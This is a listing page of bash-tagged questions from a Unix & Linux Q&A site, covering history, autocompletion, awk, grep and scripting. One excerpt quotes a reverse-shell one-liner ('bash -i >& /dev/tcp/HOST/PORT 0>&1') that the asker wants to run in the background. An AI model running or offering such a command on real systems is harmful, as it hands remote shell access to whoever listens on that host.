Questions about bash only, as opposed to other Bourne/POSIX shells. For all Bourne/POSIX-style shells, use the /shell tag instead.

learn more… | top users | synonyms

0
votes
1answer
32 views

Persistent Bash history between detached processes

I haven't yet been able to find this among the Bash documentation so I was hoping it could get answered if I asked it here. Is there any way that I can, on execution of a script, branch its history ...
0
votes
1answer
34 views

Take output field data string into variable

I want to grep for some specific lines from a log file, and then capture a specific part of that output in a variable and use it in other commands. The grep command I have is the following, where $1 ...
1
vote
0answers
12 views

equivalent of iptables rule in ip6tables

I m newbie in the iptables. I have the following iptables rules in the source code of a project iptables -t mangle -I PREROUTING ! -i br0 -p TCP --dport 45 -j MARK --set-mark 0x1000 iptables -t nat ...
1
vote
4answers
181 views

How to set the process won't be terminated when the terminal stops

[Edit] Make it simple. I invoked java xxx... on Machine A using putty to connect from Machine B. However I cannot reach Machine B. How can I connect Machine A from Machine C to set the running ...
7
votes
3answers
5k views

Why does the exclamation mark `!` sometimes upset bash?

I realize that ! has special significance on the commandline in the context of the commandline history, but aside from that, in a runing script the exclamation mark can sometimes cause a parsing ...
7
votes
4answers
6k views

Apt-get autocompletion

I am currently running 64-bit Debian Wheezy. I am having some trouble with auto completion for apt-get. I have bash-completion installed. If I am logged in as root in a shell, I can use auto ...
1
vote
1answer
31 views

How to randomly change the Gnome background image using bash?

I'm trying to set a random image as the Gnome background for the current user using bash. What I have found out: To set the wallpaper I can use: gconftool-2 --type string --set ...
3
votes
2answers
93 views

Bash shortcut to locate specific character quickly

I know in vim editor, pressing f a will locate the character a and it's a great shortcut for me. But I do not find the similar shortcut in linux bash (emacs mode). I use xshell as my terminal.
1
vote
2answers
46 views

Aliasing using for or while loop in .bashrc

Can I use a for or while loop when I have similar pattern in the aliases that I put in my .bashrc file? For example, I have: alias c0='ssh computer-1-0' alias c1='ssh computer-1-1' alias c2='ssh ...
2
votes
1answer
39 views

How do I clear the terminal History?

I am using Linux Mint 17.1 Rebecca for about 2 days and accidentally typed my password into the terminal which is now displayed in the history list of commands I have previously typed. I want to ...
0
votes
0answers
53 views

Why can I change bash history?

Why does bash change the history even I'm not executing a command I'm modifying? For example, if I type: $ echo foo1 foo1 $ echo foo2 foo2 $ echo foo3 foo3 After this, I press up twice, and I get ...
0
votes
2answers
47 views

Awk Using NR to output iteration number

I am looping through a list of files, extracting the final line, and printing out columns 8, 9, and 10. I need to also print to the output the 'event number', which is essentially the total number of ...
4
votes
3answers
50 views

Why can't I open a shell from a pipelined process?

I've condensed my problem into the following code: #include <stdio.h> int main(){ char buffer[256]; printf("Enter input: "); scanf("%s", buffer); system("/bin/sh"); ...
0
votes
1answer
77 views

Ubuntu changing shell on me

This Ubuntu machine is showing errors when I start a new terminal. The problem is this: When bash completion is sourced (. /usr/share/bash-completion/bash_completion) the shell taking place is not ...
76
votes
19answers
64k views

How can I get my external IP address in bash?

I need to find my external IP address from a bash script. At the moment I use this function: myip () { lwp-request -o text checkip.dyndns.org | awk '{ print $NF }' } But it depends on ...
3
votes
2answers
425 views

convert bulk of text files to pdf with naming based upon header file

Knowing that "How to convert from text to .pdf" is already well answered here link and here link, I am looking for something more specific: Using Claws-Mail [website] and a Plug-In [RSSyl] to read ...
6
votes
6answers
11k views

make grep output without trailing newline

Please consider this snippet: X=$(grep -m1 'some-pattern' some-file | sed -n 's/.* //p') I want to put last word in a variable if some pattern condition is matched for lines in arbitrary text file ...
3
votes
3answers
80 views

Autocomplete of a file name in bash prompt

I usually put a date before a file or directory name similar to 2014-04-20 file_name.doc. So, in a folder there is usually a bunch of files and directories starting with a date. But when accessing ...
1
vote
1answer
43 views

Cut command to find the data between strings

Can you help me in using any unix command to cut the data between files my files: MYFILES_DATA_SOMETHING_20150428.xml MYFILES_DATA_SOMETHING_20150429.xml.gz etcc.... I want to find only the date ...
-2
votes
1answer
48 views

Batch Renaming Script [closed]

Edited this question to try and clarify. I'm trying to write a simple renamer script to change files in the current directory 'test1.txt, test2.txt, testcab.txt' etc, to 'edit1.txt edit2.txt ...
0
votes
2answers
62 views

Bash script for looping through files

I have the following bash loop. for file in /home/directory/*; do filename=${file##*/} echo "$filename" ##execute command here with $filename done How can I select only certain files? For example, ...
1
vote
1answer
60 views

Shell intervals using awk

I have a file a 10:10 10:30 b 12:15 13:15 c 16:54 17:54 and I need to enter interval for example 10:15 so my output should be a 10:10 10:30 How I need to do that using awk?
1
vote
1answer
57 views

Using sudoedit in a script (non-interactively)

I'm looking to modify a file from a script. I can sudoedit the file as the bob user by doing sudoedit -u bob /foo/bar.conf but don't have rights to do anything else as bob. I came across ...
2
votes
1answer
18 views

Seeing all regex matches in a file in Bash

I'm in bash and I have a file, I want to find all matches of a regex in it and have them printed. How do I do that? Followup: Assume I want to print only unique matches, i.e. if a match appears ...
5
votes
3answers
488 views

Search commands in history with discontinuous keywords

I was wondering how to search commands in history without knowing the first few letters of the command? When searching using Ctrl-R in bash, one has to give the first few letter of the command. ...
1
vote
2answers
38 views

Count files in directory with specific string on name?

I have the following files: Codigo-0275_tdim.matches.tsv Codigo-0275_tdim.snps.tsv FloragenexTdim_haplotypes_SNp3filter17_single.tsv FloragenexTdim_haplotypes_SNp3filter17.tsv ...
177
votes
12answers
50k views

Preserve bash history in multiple terminal windows

I consistently have more than one terminal open. Anywhere from two to ten, doing various bits and bobs. Now let's say I restart and open up another set of terminals. Some remember certain things, some ...
2
votes
2answers
58 views

Reliably identifying the path to the directory containing the running script

There are plenty of answers in SO to address this question: Can a Bash script tell what directory it's stored in? Unix shell script to find out which directory the script resides? And there are a ...
6
votes
2answers
430 views

bash does not autocomplete my command when using sudo?

I'm using SaltStack. I would like to auto-complete the minion name when calling salt command. The following line has been added into ~/.bashrc: complete -o default -o nospace -W "$(sudo ls -1 ...
3
votes
1answer
77 views

difference between /bin/bash and “.”

Env: Ubuntu 14.04 I have a file called bc on my home folder. The whole content of the file is func() { local a b=() echo $0 } func Note there's no #!/bin/bash at the beginning. Then, if I ...
2
votes
2answers
52 views

Bash decimal to binary conversion explanation

When converting decimal values to their binary representation, it is possible to use the following commands: val=12 D2B=({0..1}{0..1}{0..1}{0..1}{0..1}) echo ${D2B[$val]} While this works, I am ...
10
votes
1answer
149 views

Track certain parameters on some command

Let's say that I have a command git branch (always with a couple of words) for example. What I want is to keep track of when this command is executed with arguments. For example, if I execute the ...
5
votes
1answer
115 views

How do I store colored text in a variable and print it with color later?

If I do git status --short, git lists files that are not tracked with two red question marks in front: I'm trying to store this in a variable and print it with color later. Here's my bash script: ...
1
vote
2answers
45 views

Remove string from file name to leave variable?

I have the following list of files: Dorn_Triatomine_A5201_sequence_1_unmappedforTdim_tdim.alleles.tsv Dorn_Triatomine_A5201_sequence_1_unmappedforTdim_tdim.matches.tsv ...
0
votes
1answer
42 views

PAM timestamp - how to inspecting the /var/run/sudo/<user> file?

The centos documentation stated that: ... In the PAM timestamp scheme, the graphical administrative application prompts the user for the root password when it is launched. When the user has ...
1
vote
1answer
503 views

Running 'bash -i >& /dev/tcp/HOST/PORT 0>&1' in the background

I want to run bash -i >& /dev/tcp/HOST/PORT 0>&1 in the background at server1. I want to listen to the connection and send commands back at HOST/PORT. So, tcpdump isn't sufficient for ...
5
votes
1answer
90 views

prevent multi-line paste in bash

I often use ctrl+c to copy text from some gui application and then paste it into my terminal emulator (terminator), using right-mouse-click-menu and paste. Sometimes I forget that the clipboard ...
1
vote
4answers
46 views

Comparing files with vimdiff from a script

I'm writing a script to compare two directories recursively and run vimdiff when it finds a difference: #!/bin/bash dir1=${1%/} dir2=${2%/} find "$dir1/" -type f -not -path "$dir1/.git/*" | while ...
0
votes
0answers
36 views

My apt-get installer has no autocompletion for some packages

I have installed Kali Linux v1.1.0 (Debian based). Filename completion for sudo was not running at the beginning, so I added: complete -c sudo And everything seems to autocomplete now, except for ...
1
vote
2answers
36 views

Apply a filter to the value of a variable using backticks

Sorry for asking such a simple question, but reading about this issue on the internet has proven fruitless. I'm trying to better understand the grave/backtick operator and I've been doing okay so far ...
0
votes
3answers
25 views

processes started in this session

I've opened a terminal session and started some processes with &. When I tried closing the terminal window, it warned me that there were still jobs running in the background. I can see the ...
1
vote
1answer
29 views

bash + how to calculate very long numbers in bash? [duplicate]

how to calculate very long numbers in bash? param=$(( 3247238523785623478565 + 53453453252345346534563412634 )) echo $param 3420247196502465471 as we see here this isnt the right answer , because ...
2
votes
1answer
45 views

change terminal appearance according to server

I have 2 different serves (all running Linux) to which I connect via ssh . After login all terminal background looks same. I want to have different color theme or background for different servers. For ...
2
votes
2answers
1k views

Store all dates in a given date range into a variable

I want to store all possible dates between two user input dates. The input will be as like 20140605 and 20140830. I want to store every date between the given dates into a variable using a loop so ...
2
votes
2answers
528 views

Script that unpacks a initrd, allows editing of the preseed.cfg and the packs it to cpio and gzip again

I want to program a script that allows what is said in the title. So basically I gunzip the initrd, than unpack the cpio, open vi to allow editing, save, pack with cpio, and gzip again, so nothing ...
9
votes
3answers
2k views

Run a diff between local and remote files

I'm connected on a host via ssh and I'd like to compare (let's say with diff) a certain config file against its counterpart on an another host, also accessible via ssh, without having to manually ...
4
votes
2answers
56 views

Recover last argument of the last command in bash' vi mode

When using bash's vi mode (set -o vi), is it possible to recover the last argument of the last executed command? This is done in emacs mode with ESC+., and I would like to do it in vi mode as well. I ...
1
vote
2answers
75 views

bash - Why does type -a execute “$(printf 'a')” and is it possible to get back the original alias? [duplicate]

After i ask this question 2 days ago, i decided to make this alias in my ~/.bashrc: alias catvu="LC_ALL=C sed \"$(printf 's/[^\t -\176\200-\377]/^&/g')\"|LC_ALL=C tr '\0-\10\13-\37\177' ...
1
vote
1answer
53 views

Combine Bash associative arrays

I am trying make a script that combines arrays on demand. Here is the script: #! /bin/bash declare -A code code=( [H]="h" [E]="e" [L]="l" [P]="p" [M]="m" [E]="e" ) I need to print "help me" - ...
-1
votes
1answer
45 views

How to Interactively ask a user to change Permissions for a Specified File

I need to create a script that will allow a specified file to have its permissions changed interactively by asking the user if they would like to enable Read, Write and/or Execute one by one for each ...